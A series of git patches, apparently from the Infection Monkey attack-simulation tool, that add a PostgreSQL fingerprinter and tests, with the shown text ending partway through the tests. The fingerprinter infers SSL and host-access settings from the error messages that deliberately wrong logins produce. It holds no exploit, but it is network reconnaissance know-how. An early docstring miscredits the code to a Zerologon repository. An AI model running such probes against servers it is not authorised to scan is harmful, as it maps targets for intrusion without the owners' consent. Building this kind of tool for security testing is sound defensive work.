From edc1b779d330eedb5e1aac1288ba1db9229054ca Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 17 Nov 2020 18:39:19 +0530 Subject: [PATCH 0001/1360] Initial PostgreSQL fingerprinting stuff --- .../network/postgresql_fingerprint.py | 67 +++++++++++++++++++ 1 file changed, 67 insertions(+) create mode 100644 monkey/infection_monkey/network/postgresql_fingerprint.py diff --git a/monkey/infection_monkey/network/postgresql_fingerprint.py b/monkey/infection_monkey/network/postgresql_fingerprint.py new file mode 100644 index 00000000000..1305e26c138 --- /dev/null +++ b/monkey/infection_monkey/network/postgresql_fingerprint.py @@ -0,0 +1,67 @@ +""" +Implementation from https://github.com/SecuraBV/CVE-2020-1472 +""" + +import logging + +import psycopg2 + +from infection_monkey.network.HostFinger import HostFinger + +LOG = logging.getLogger(__name__) + + +class PostgreSQLFinger(HostFinger): + """ + Fingerprints PostgreSQL databases, only on port 5432 + """ + # Class related consts + _SCANNED_SERVICE = 'PostgreSQL' + POSTGRESQL_DEFAULT_PORT = 5432 + CREDS = {'username': 'monkeySaysHello', + 'password': 'monkeySaysXXX'} + + def get_host_fingerprint(self, host): + try: + connection = psycopg2.connect(host=host.ip_addr, + port=self.POSTGRESQL_DEFAULT_PORT, + user=self.CREDS['username'], + password=self.CREDS['password'], + sslmode='prefer') # don't need to worry about DB name; creds are wrong, won't check + + except psycopg2.OperationalError as ex: # try block will throw an OperationalError since the credentials are wrong + exception_string = str(ex) + relevant_ex_substrings = ["password authentication failed", + "entry for host"] # "no pg_hba.conf entry for host" but filename may be diff + + if not any(substr in exception_string for substr in relevant_ex_substrings): + # OperationalError due to some other reason + return False + + self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) + + """ + ---> split exception_string by \n + + if len == 1: ssl_conf_on_server = False + if "password authentication failed" is present: ssl_forced = False + elif "entry for host" is present: ssl_forced = True + if len == 2: ssl_conf_on_server = True + // for [0] + if "password authentication failed" is present: ssl_all = True + elif "entry for host" is present: ssl_forced = False + // for [1] + if "password authentication failed" is present: nossl_all = True + elif "entry for host" is present: nossl_forced = False + + ---> def is_ssl_configured(): + // check length after splitting + ---> def is_ssl_exists(): + if is_ssl_configured(): // checks twice - once for SSL entry, once for no SSL entry + koi_function() for [0]th // kisi function mein if-elif waala daal do upar jo likha hai + koi_function() for [-1]th + + // how do i make deriving the results simpler and shorter?! + """ + + # LOG.info(f'Exception: {ex}') From 6cb9d4808f6cb0f706f891893defd5c70b61c3c7 Mon Sep 17 00:00:00 2001 From: Shreya Date: Wed, 18 Nov 2020 23:34:28 +0530 Subject: [PATCH 0002/1360] PostgreSQL communication encryption fingerprinting --- .../network/postgresql_fingerprint.py | 81 ++++++++++++------- 1 file changed, 52 insertions(+), 29 deletions(-) diff --git a/monkey/infection_monkey/network/postgresql_fingerprint.py b/monkey/infection_monkey/network/postgresql_fingerprint.py index 1305e26c138..4ab42f7540b 100644 --- a/monkey/infection_monkey/network/postgresql_fingerprint.py +++ b/monkey/infection_monkey/network/postgresql_fingerprint.py @@ -29,39 +29,62 @@ def get_host_fingerprint(self, host): password=self.CREDS['password'], sslmode='prefer') # don't need to worry about DB name; creds are wrong, won't check - except psycopg2.OperationalError as ex: # try block will throw an OperationalError since the credentials are wrong + except psycopg2.OperationalError as ex: + # try block will throw an OperationalError since the credentials are wrong, which we then analyze + self.relevant_ex_substrings = ["password authentication failed", + "entry for host"] # "no pg_hba.conf entry for host" but filename may be diff exception_string = str(ex) - relevant_ex_substrings = ["password authentication failed", - "entry for host"] # "no pg_hba.conf entry for host" but filename may be diff - if not any(substr in exception_string for substr in relevant_ex_substrings): + if not any(substr in exception_string for substr in self.relevant_ex_substrings): # OperationalError due to some other reason return False self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) - """ - ---> split exception_string by \n - - if len == 1: ssl_conf_on_server = False - if "password authentication failed" is present: ssl_forced = False - elif "entry for host" is present: ssl_forced = True - if len == 2: ssl_conf_on_server = True - // for [0] - if "password authentication failed" is present: ssl_all = True - elif "entry for host" is present: ssl_forced = False - // for [1] - if "password authentication failed" is present: nossl_all = True - elif "entry for host" is present: nossl_forced = False - - ---> def is_ssl_configured(): - // check length after splitting - ---> def is_ssl_exists(): - if is_ssl_configured(): // checks twice - once for SSL entry, once for no SSL entry - koi_function() for [0]th // kisi function mein if-elif waala daal do upar jo likha hai - koi_function() for [-1]th - - // how do i make deriving the results simpler and shorter?! - """ - - # LOG.info(f'Exception: {ex}') + ssl_connection_details = [] + exceptions = exception_string.split("\n") + ssl_conf_on_server = self.is_ssl_configured(exceptions) + + """ Make this part cleaner and better! """ + + # SSL configured + if ssl_conf_on_server: + ssl_connection_details.append("SSL is configured on the PostgreSQL server.\n") + # SSL + if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): + ssl_connection_details.append("SSL connections can be made by all.\n") + else: + ssl_connection_details.append( + "SSL connections can be made by selected hosts only OR non-SSL usage is forced.\n") + # non-SSL + if self.found_entry_for_host_but_pwd_auth_failed(exceptions[1]): + ssl_connection_details.append("Non-SSL connections can be made by all.\n") + else: + ssl_connection_details.append( + "Non-SSL connections can be made by selected hosts only OR SSL usage is forced.\n") + + # SSL not configured + else: + ssl_connection_details.append("SSL is NOT configured on the PostgreSQL server.\n") + if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): + ssl_connection_details.append("Non-SSL connections can be made by all.\n") + else: + ssl_connection_details.append( + "Non-SSL connections can be made by selected hosts only OR SSL usage is forced.\n") + + host.services[self._SCANNED_SERVICE]['communication_encryption_details'] = ''.join(ssl_connection_details) + + return True + + def is_ssl_configured(self, exceptions): + # when trying to authenticate, it checks pg_hba.conf file: + # first, for a record where it can connect with SSL and second, without SSL + if len(exceptions) == 1: # SSL not configured on server so only checks for non-SSL record + return False + elif len(exceptions) == 2: # SSL configured so checks for both + return True + + def found_entry_for_host_but_pwd_auth_failed(self, exception): + if self.relevant_ex_substrings[0] in exception: + return True # entry found in pg_hba.conf file but password authentication failed + return False # entry not found in pg_hba.conf file From e8a2a37690b5e58f8746dc768ccb445a4d1255cc Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 21 Nov 2020 13:19:44 +0530 Subject: [PATCH 0003/1360] Code clean up --- .../network/postgresql_fingerprint.py | 100 ++++++++++-------- monkey/infection_monkey/requirements.txt | 1 + 2 files changed, 54 insertions(+), 47 deletions(-) diff --git a/monkey/infection_monkey/network/postgresql_fingerprint.py b/monkey/infection_monkey/network/postgresql_fingerprint.py index 4ab42f7540b..45bc362f0f2 100644 --- a/monkey/infection_monkey/network/postgresql_fingerprint.py +++ b/monkey/infection_monkey/network/postgresql_fingerprint.py @@ -1,7 +1,3 @@ -""" -Implementation from https://github.com/SecuraBV/CVE-2020-1472 -""" - import logging import psycopg2 @@ -18,8 +14,8 @@ class PostgreSQLFinger(HostFinger): # Class related consts _SCANNED_SERVICE = 'PostgreSQL' POSTGRESQL_DEFAULT_PORT = 5432 - CREDS = {'username': 'monkeySaysHello', - 'password': 'monkeySaysXXX'} + CREDS = {'username': "monkeySaysHello", + 'password': "monkeySaysXXX"} def get_host_fingerprint(self, host): try: @@ -31,50 +27,60 @@ def get_host_fingerprint(self, host): except psycopg2.OperationalError as ex: # try block will throw an OperationalError since the credentials are wrong, which we then analyze - self.relevant_ex_substrings = ["password authentication failed", - "entry for host"] # "no pg_hba.conf entry for host" but filename may be diff - exception_string = str(ex) - - if not any(substr in exception_string for substr in self.relevant_ex_substrings): - # OperationalError due to some other reason - return False - - self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) - - ssl_connection_details = [] - exceptions = exception_string.split("\n") - ssl_conf_on_server = self.is_ssl_configured(exceptions) - - """ Make this part cleaner and better! """ - - # SSL configured - if ssl_conf_on_server: - ssl_connection_details.append("SSL is configured on the PostgreSQL server.\n") - # SSL - if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): - ssl_connection_details.append("SSL connections can be made by all.\n") + try: + self.relevant_ex_substrings = ["password authentication failed", + "entry for host"] # "no pg_hba.conf entry for host" but filename may be diff + exception_string = str(ex) + + if not any(substr in exception_string for substr in self.relevant_ex_substrings): + # OperationalError due to some other reason + return False + + # all's well; start analysing errors + self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) + + exceptions = exception_string.split("\n") + connection_details = {'ssl_conf': "SSL is configured on the PostgreSQL server.\n", + 'ssl_not_conf': "SSL is NOT configured on the PostgreSQL server.\n", + 'all_ssl': "SSL connections can be made by all.\n", + 'all_non_ssl': "Non-SSL connections can be made by all.\n", + 'selected_ssl': "SSL connections can be made by selected hosts only OR " + "non-SSL usage is forced.\n", + 'selected_non_ssl': "Non-SSL connections can be made by selected hosts only OR " + "SSL usage is forced.\n"} + + ssl_connection_details = [] + ssl_conf_on_server = self.is_ssl_configured(exceptions) + + # SSL configured + if ssl_conf_on_server: + ssl_connection_details.append(connection_details['ssl_conf']) + # SSL + if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): + ssl_connection_details.append(connection_details['all_ssl']) + else: + ssl_connection_details.append(connection_details['selected_ssl']) + # non-SSL + if self.found_entry_for_host_but_pwd_auth_failed(exceptions[1]): + ssl_connection_details.append(connection_details['all_non_ssl']) + else: + ssl_connection_details.append(connection_details['selected_non_ssl']) + + # SSL not configured else: - ssl_connection_details.append( - "SSL connections can be made by selected hosts only OR non-SSL usage is forced.\n") - # non-SSL - if self.found_entry_for_host_but_pwd_auth_failed(exceptions[1]): - ssl_connection_details.append("Non-SSL connections can be made by all.\n") - else: - ssl_connection_details.append( - "Non-SSL connections can be made by selected hosts only OR SSL usage is forced.\n") - - # SSL not configured - else: - ssl_connection_details.append("SSL is NOT configured on the PostgreSQL server.\n") - if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): - ssl_connection_details.append("Non-SSL connections can be made by all.\n") - else: - ssl_connection_details.append( - "Non-SSL connections can be made by selected hosts only OR SSL usage is forced.\n") + ssl_connection_details.append(connection_details['ssl_not_conf']) + if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): + ssl_connection_details.append(connection_details['all_non_ssl']) + else: + ssl_connection_details.append(connection_details['selected_non_ssl']) - host.services[self._SCANNED_SERVICE]['communication_encryption_details'] = ''.join(ssl_connection_details) + host.services[self._SCANNED_SERVICE]['communication_encryption_details'] = ''.join(ssl_connection_details) + return True - return True + except Exception as err: + LOG.debug("Error getting PostgreSQL fingerprint: %s", err) + + return False def is_ssl_configured(self, exceptions): # when trying to authenticate, it checks pg_hba.conf file: diff --git a/monkey/infection_monkey/requirements.txt b/monkey/infection_monkey/requirements.txt index 0a1dbd282b4..ecaa176f385 100644 --- a/monkey/infection_monkey/requirements.txt +++ b/monkey/infection_monkey/requirements.txt @@ -8,6 +8,7 @@ netifaces>=0.10.9 odict==1.7.0 paramiko>=2.7.1 psutil>=5.7.0 +psycopg2-binary==2.8.6 pycryptodome==3.9.8 pyftpdlib==1.5.6 pymssql<3.0 From 4ffac383820a57421464dfe884a220e2cdfc3a83 Mon Sep 17 00:00:00 2001 From: Shreya Date: Mon, 23 Nov 2020 18:05:27 +0530 Subject: [PATCH 0004/1360] Add PostgreSQL to data pillar of ZT --- monkey/common/data/zero_trust_consts.py | 13 +++++++++++++ .../definitions/finger_classes.py | 9 +++++++++ .../cc/services/config_schema/internal.py | 3 ++- .../reporting/test_zero_trust_service.py | 5 +++++ .../zero_trust_tests/data_endpoints.py | 19 +++++++++++++++++++ 5 files changed, 48 insertions(+), 1 deletion(-) diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 8d55bc32000..90cabb898a6 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -22,6 +22,7 @@ # Don't change order! The statuses are ordered by importance/severity. ORDERED_TEST_STATUSES = [STATUS_FAILED, STATUS_VERIFY, STATUS_PASSED, STATUS_UNEXECUTED] +TEST_DATA_ENDPOINT_POSTGRESQL = "unencrypted_data_endpoint_postgresql" TEST_DATA_ENDPOINT_ELASTIC = "unencrypted_data_endpoint_elastic" TEST_DATA_ENDPOINT_HTTP = "unencrypted_data_endpoint_http" TEST_MACHINE_EXPLOITED = "machine_exploited" @@ -39,6 +40,7 @@ TEST_MACHINE_EXPLOITED, TEST_DATA_ENDPOINT_HTTP, TEST_DATA_ENDPOINT_ELASTIC, + TEST_DATA_ENDPOINT_POSTGRESQL, TEST_TUNNELING, TEST_COMMUNICATE_AS_NEW_USER ) @@ -144,6 +146,17 @@ PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, + TEST_DATA_ENDPOINT_POSTGRESQL: { + TEST_EXPLANATION_KEY: "The Monkey scanned for unencrypted access to PostgreSQL servers.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey accessed PostgreSQL servers. Limit access to data by encrypting it in in-transit.", + STATUS_PASSED: "Monkey didn't find open PostgreSQL servers. If you have such servers, look for alerts that " + "indicate attempts to access them. " + }, + PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, TEST_TUNNELING: { TEST_EXPLANATION_KEY: "The Monkey tried to tunnel traffic using other monkeys.", FINDING_EXPLANATION_BY_STATUS_KEY: { diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py index 405983dc573..ebddbed3383 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/finger_classes.py @@ -73,6 +73,15 @@ "title": "WindowsServerFinger", "info": "Checks if server is a Windows Server and tests if it is vulnerable to Zerologon.", "attack_techniques": ["T1210"] + }, + { + "type": "string", + "enum": [ + "PostgreSQLFinger" + ], + "title": "PostgreSQLFinger", + "info": "Checks if PostgreSQL service is running and if its communication is encrypted.", + "attack_techniques": ["T1210"] } ] } diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index fae309ad5f1..6734c2d82e2 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -223,7 +223,8 @@ "MySQLFinger", "MSSQLFinger", "ElasticFinger", - "WindowsServerFinger" + "WindowsServerFinger", + "PostgreSQLFinger" ] } } diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py index dbadffb5548..c5ae626a4e9 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -22,6 +22,11 @@ "test": zero_trust_consts.TESTS_MAP [zero_trust_consts.TEST_DATA_ENDPOINT_ELASTIC][zero_trust_consts.TEST_EXPLANATION_KEY] }, + { + "status": zero_trust_consts.STATUS_UNEXECUTED, + "test": zero_trust_consts.TESTS_MAP + [zero_trust_consts.TEST_DATA_ENDPOINT_POSTGRESQL][zero_trust_consts.TEST_EXPLANATION_KEY] + } ] } ], diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py index 447b2dee83a..09256d96c14 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/data_endpoints.py @@ -8,6 +8,7 @@ from monkey_island.cc.models.zero_trust.event import Event HTTP_SERVERS_SERVICES_NAMES = ['tcp-80'] +POSTGRESQL_SERVER_SERVICE_NAME = 'PostgreSQL' def test_open_data_endpoints(telemetry_json): @@ -15,6 +16,7 @@ def test_open_data_endpoints(telemetry_json): current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) found_http_server_status = zero_trust_consts.STATUS_PASSED found_elastic_search_server = zero_trust_consts.STATUS_PASSED + found_postgresql_server = zero_trust_consts.STATUS_PASSED events = [ Event.create_event( @@ -55,6 +57,17 @@ def test_open_data_endpoints(telemetry_json): ), event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK )) + if service_name == POSTGRESQL_SERVER_SERVICE_NAME: + found_postgresql_server = zero_trust_consts.STATUS_FAILED + events.append(Event.create_event( + title="Scan telemetry analysis", + message="Service {} on {} recognized as an open data endpoint! Service details: {}".format( + service_data["display_name"], + telemetry_json["data"]["machine"]["ip_addr"], + json.dumps(service_data) + ), + event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK + )) AggregateFinding.create_or_add_to_existing( test=zero_trust_consts.TEST_DATA_ENDPOINT_HTTP, @@ -68,4 +81,10 @@ def test_open_data_endpoints(telemetry_json): events=events ) + AggregateFinding.create_or_add_to_existing( + test=zero_trust_consts.TEST_DATA_ENDPOINT_POSTGRESQL, + status=found_postgresql_server, + events=events + ) + add_malicious_activity_to_timeline(events) From f7820b840c75e9f045e9fec841433ea60143ae21 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 27 Nov 2020 14:12:24 +0530 Subject: [PATCH 0005/1360] Change in PostgreSQL communication encryption result: only selected hosts --- .../infection_monkey/network/postgresql_fingerprint.py | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/postgresql_fingerprint.py b/monkey/infection_monkey/network/postgresql_fingerprint.py index 45bc362f0f2..c696d561f65 100644 --- a/monkey/infection_monkey/network/postgresql_fingerprint.py +++ b/monkey/infection_monkey/network/postgresql_fingerprint.py @@ -47,7 +47,8 @@ def get_host_fingerprint(self, host): 'selected_ssl': "SSL connections can be made by selected hosts only OR " "non-SSL usage is forced.\n", 'selected_non_ssl': "Non-SSL connections can be made by selected hosts only OR " - "SSL usage is forced.\n"} + "SSL usage is forced.\n", + 'only_selected': "Only selected hosts can make connections (SSL or non-SSL).\n"} ssl_connection_details = [] ssl_conf_on_server = self.is_ssl_configured(exceptions) @@ -56,15 +57,20 @@ def get_host_fingerprint(self, host): if ssl_conf_on_server: ssl_connection_details.append(connection_details['ssl_conf']) # SSL + ssl_selected_comms_only = False if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): ssl_connection_details.append(connection_details['all_ssl']) else: ssl_connection_details.append(connection_details['selected_ssl']) + ssl_selected_comms_only = True # non-SSL if self.found_entry_for_host_but_pwd_auth_failed(exceptions[1]): ssl_connection_details.append(connection_details['all_non_ssl']) else: - ssl_connection_details.append(connection_details['selected_non_ssl']) + if ssl_selected_comms_only: # if only selected SSL allowed and only selected non-SSL allowed + ssl_connection_details[-1] = connection_details['only_selected'] + else: + ssl_connection_details.append(connection_details['selected_non_ssl']) # SSL not configured else: From 2203e5f1d3018cb474c24949eb104bb6b6acd0e8 Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 27 Nov 2020 15:09:15 +0530 Subject: [PATCH 0006/1360] Fix test --- .../cc/services/reporting/test_zero_trust_service.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py index c5ae626a4e9..59aadab3c3a 100644 --- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -213,7 +213,7 @@ def test_get_pillars_grades(self): zero_trust_consts.STATUS_FAILED: 5, zero_trust_consts.STATUS_VERIFY: 2, zero_trust_consts.STATUS_PASSED: 1, - zero_trust_consts.STATUS_UNEXECUTED: 1, + zero_trust_consts.STATUS_UNEXECUTED: 2, "pillar": "Data" }, { From 4aa6095839092c08a8da3e7214a0263a313df370 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 28 Nov 2020 23:33:12 +0530 Subject: [PATCH 0007/1360] Add port 5432 to tcp_target_ports in config.py --- monkey/infection_monkey/config.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 1fbcb876bb4..9f9def7705a 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -189,7 +189,8 @@ def as_dict(self): 443, 8008, 3306, - 9200] + 9200, + 5432] tcp_target_ports.extend(HTTP_PORTS) tcp_scan_timeout = 3000 # 3000 Milliseconds tcp_scan_interval = 0 # in milliseconds From 27263cbb485000fce74169f633dda6b7e27bc198 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sat, 19 Dec 2020 17:20:10 +0530 Subject: [PATCH 0008/1360] Readability changes (per CR) --- .../network/postgresql_fingerprint.py | 129 ++++++++++-------- 1 file changed, 71 insertions(+), 58 deletions(-) diff --git a/monkey/infection_monkey/network/postgresql_fingerprint.py b/monkey/infection_monkey/network/postgresql_fingerprint.py index c696d561f65..e6b9b41ade2 100644 --- a/monkey/infection_monkey/network/postgresql_fingerprint.py +++ b/monkey/infection_monkey/network/postgresql_fingerprint.py @@ -2,6 +2,7 @@ import psycopg2 +from infection_monkey.model import ID_STRING from infection_monkey.network.HostFinger import HostFinger LOG = logging.getLogger(__name__) @@ -14,73 +15,41 @@ class PostgreSQLFinger(HostFinger): # Class related consts _SCANNED_SERVICE = 'PostgreSQL' POSTGRESQL_DEFAULT_PORT = 5432 - CREDS = {'username': "monkeySaysHello", - 'password': "monkeySaysXXX"} + CREDS = {'username': ID_STRING, + 'password': ID_STRING} + CONNECTION_DETAILS =\ + { + 'ssl_conf': "SSL is configured on the PostgreSQL server.\n", + 'ssl_not_conf': "SSL is NOT configured on the PostgreSQL server.\n", + 'all_ssl': "SSL connections can be made by all.\n", + 'all_non_ssl': "Non-SSL connections can be made by all.\n", + 'selected_ssl': "SSL connections can be made by selected hosts only OR " + "non-SSL usage is forced.\n", + 'selected_non_ssl': "Non-SSL connections can be made by selected hosts only OR " + "SSL usage is forced.\n", + 'only_selected': "Only selected hosts can make connections (SSL or non-SSL).\n" + } + RELEVANT_EX_SUBSTRINGS = ["password authentication failed", + "entry for host"] # "no pg_hba.conf entry for host" but filename may be diff def get_host_fingerprint(self, host): try: - connection = psycopg2.connect(host=host.ip_addr, - port=self.POSTGRESQL_DEFAULT_PORT, - user=self.CREDS['username'], - password=self.CREDS['password'], - sslmode='prefer') # don't need to worry about DB name; creds are wrong, won't check + psycopg2.connect(host=host.ip_addr, + port=self.POSTGRESQL_DEFAULT_PORT, + user=self.CREDS['username'], + password=self.CREDS['password'], + sslmode='prefer') # don't need to worry about DB name; creds are wrong, won't check except psycopg2.OperationalError as ex: # try block will throw an OperationalError since the credentials are wrong, which we then analyze try: - self.relevant_ex_substrings = ["password authentication failed", - "entry for host"] # "no pg_hba.conf entry for host" but filename may be diff exception_string = str(ex) - if not any(substr in exception_string for substr in self.relevant_ex_substrings): - # OperationalError due to some other reason + if not self.is_relevant_exception(exception_string): return False - # all's well; start analysing errors - self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) - - exceptions = exception_string.split("\n") - connection_details = {'ssl_conf': "SSL is configured on the PostgreSQL server.\n", - 'ssl_not_conf': "SSL is NOT configured on the PostgreSQL server.\n", - 'all_ssl': "SSL connections can be made by all.\n", - 'all_non_ssl': "Non-SSL connections can be made by all.\n", - 'selected_ssl': "SSL connections can be made by selected hosts only OR " - "non-SSL usage is forced.\n", - 'selected_non_ssl': "Non-SSL connections can be made by selected hosts only OR " - "SSL usage is forced.\n", - 'only_selected': "Only selected hosts can make connections (SSL or non-SSL).\n"} - - ssl_connection_details = [] - ssl_conf_on_server = self.is_ssl_configured(exceptions) - - # SSL configured - if ssl_conf_on_server: - ssl_connection_details.append(connection_details['ssl_conf']) - # SSL - ssl_selected_comms_only = False - if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): - ssl_connection_details.append(connection_details['all_ssl']) - else: - ssl_connection_details.append(connection_details['selected_ssl']) - ssl_selected_comms_only = True - # non-SSL - if self.found_entry_for_host_but_pwd_auth_failed(exceptions[1]): - ssl_connection_details.append(connection_details['all_non_ssl']) - else: - if ssl_selected_comms_only: # if only selected SSL allowed and only selected non-SSL allowed - ssl_connection_details[-1] = connection_details['only_selected'] - else: - ssl_connection_details.append(connection_details['selected_non_ssl']) - - # SSL not configured - else: - ssl_connection_details.append(connection_details['ssl_not_conf']) - if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): - ssl_connection_details.append(connection_details['all_non_ssl']) - else: - ssl_connection_details.append(connection_details['selected_non_ssl']) - - host.services[self._SCANNED_SERVICE]['communication_encryption_details'] = ''.join(ssl_connection_details) + # all's well; start analyzing errors + self.analyze_operational_error(host, exception_string) return True except Exception as err: @@ -88,7 +57,51 @@ def get_host_fingerprint(self, host): return False - def is_ssl_configured(self, exceptions): + def is_relevant_exception(self, exception_string): + if not any(substr in exception_string for substr in self.RELEVANT_EX_SUBSTRINGS): + # OperationalError due to some other reason - irrelevant exception + return False + return True + + def analyze_operational_error(self, host, exception_string): + self.init_service(host.services, self._SCANNED_SERVICE, self.POSTGRESQL_DEFAULT_PORT) + + exceptions = exception_string.split("\n") + + ssl_connection_details = [] + ssl_conf_on_server = self.is_ssl_configured(exceptions) + + # SSL configured + if ssl_conf_on_server: + ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_conf']) + # SSL + ssl_selected_comms_only = False + if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): + ssl_connection_details.append(self.CONNECTION_DETAILS['all_ssl']) + else: + ssl_connection_details.append(self.CONNECTION_DETAILS['selected_ssl']) + ssl_selected_comms_only = True + # non-SSL + if self.found_entry_for_host_but_pwd_auth_failed(exceptions[1]): + ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) + else: + if ssl_selected_comms_only: # if only selected SSL allowed and only selected non-SSL allowed + ssl_connection_details[-1] = self.CONNECTION_DETAILS['only_selected'] + else: + ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) + + # SSL not configured + else: + ssl_connection_details.append(self.CONNECTION_DETAILS['ssl_not_conf']) + if self.found_entry_for_host_but_pwd_auth_failed(exceptions[0]): + ssl_connection_details.append(self.CONNECTION_DETAILS['all_non_ssl']) + else: + ssl_connection_details.append(self.CONNECTION_DETAILS['selected_non_ssl']) + + host.services[self._SCANNED_SERVICE]['communication_encryption_details'] = ''.join(ssl_connection_details) + + @staticmethod + def is_ssl_configured(exceptions): # when trying to authenticate, it checks pg_hba.conf file: # first, for a record where it can connect with SSL and second, without SSL if len(exceptions) == 1: # SSL not configured on server so only checks for non-SSL record @@ -97,6 +110,6 @@ def is_ssl_configured(self, exceptions): return True def found_entry_for_host_but_pwd_auth_failed(self, exception): - if self.relevant_ex_substrings[0] in exception: + if self.RELEVANT_EX_SUBSTRINGS[0] in exception: return True # entry found in pg_hba.conf file but password authentication failed return False # entry not found in pg_hba.conf file From 3225e6d20d97b34800c1e8976cec3a15adc141e1 Mon Sep 17 00:00:00 2001 From: Shreya Date: Sun, 20 Dec 2020 01:08:21 +0530 Subject: [PATCH 0009/1360] Add tests --- .../network/test_postgresql_fingerprint.py | 86 +++++++++++++++++++ 1 file changed, 86 insertions(+) create mode 100644 monkey/infection_monkey/network/test_postgresql_fingerprint.py diff --git a/monkey/infection_monkey/network/test_postgresql_fingerprint.py b/monkey/infection_monkey/network/test_postgresql_fingerprint.py new file mode 100644 index 00000000000..70889969018 --- /dev/null +++ b/monkey/infection_monkey/network/test_postgresql_fingerprint.py @@ -0,0 +1,86 @@ +from unittest import TestCase +from unittest.mock import Mock + +from infection_monkey.network.postgresql_fingerprint import PostgreSQLFinger + +IRRELEVANT_EXCEPTION_STRING = "This is an irrelevant exception string." + +RELEVANT_EXCEPTION_STRINGS =\ + { + 'pwd_auth_failed': 'FATAL: password authentication failed for user "root"', + 'ssl_on_entry_not_found': 'FATAL: no pg_hba.conf entry for host "127.0.0.1",' + 'user "random", database "postgres", SSL on', + 'ssl_off_entry_not_found': 'FATAL: no pg_hba.conf entry for host "127.0.0.1",' + 'user "random", database "postgres", SSL off' + } + +RESULT_STRINGS =\ + { + 'ssl_conf': "SSL is configured on the PostgreSQL server.\n", + 'ssl_not_conf': "SSL is NOT configured on the PostgreSQL server.\n", + 'all_ssl': "SSL connections can be made by all.\n", + 'all_non_ssl': "Non-SSL connections can be made by all.\n", + 'selected_ssl': "SSL connections can be made by selected hosts only OR " + "non-SSL usage is forced.\n", + 'selected_non_ssl': "Non-SSL connections can be made by selected hosts only OR " + "SSL usage is forced.\n", + 'only_selected': "Only selected hosts can make connections (SSL or non-SSL).\n" + } + +EXAMPLE_EXCEPTIONS =\ + [ + RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed'], # SSL not configured, all non-SSL allowed + + RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found'], # SSL not configured, selected non-SSL allowed + + '\n'.join([RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed'], + RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed']]), # all SSL allowed, all non-SSL allowed + + '\n'.join([RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed'], + RELEVANT_EXCEPTION_STRINGS['ssl_off_entry_not_found']]), # all SSL allowed, selected non-SSL allowed + + '\n'.join([RELEVANT_EXCEPTION_STRINGS['ssl_on_entry_not_found'], + RELEVANT_EXCEPTION_STRINGS['pwd_auth_failed']]), # selected SSL 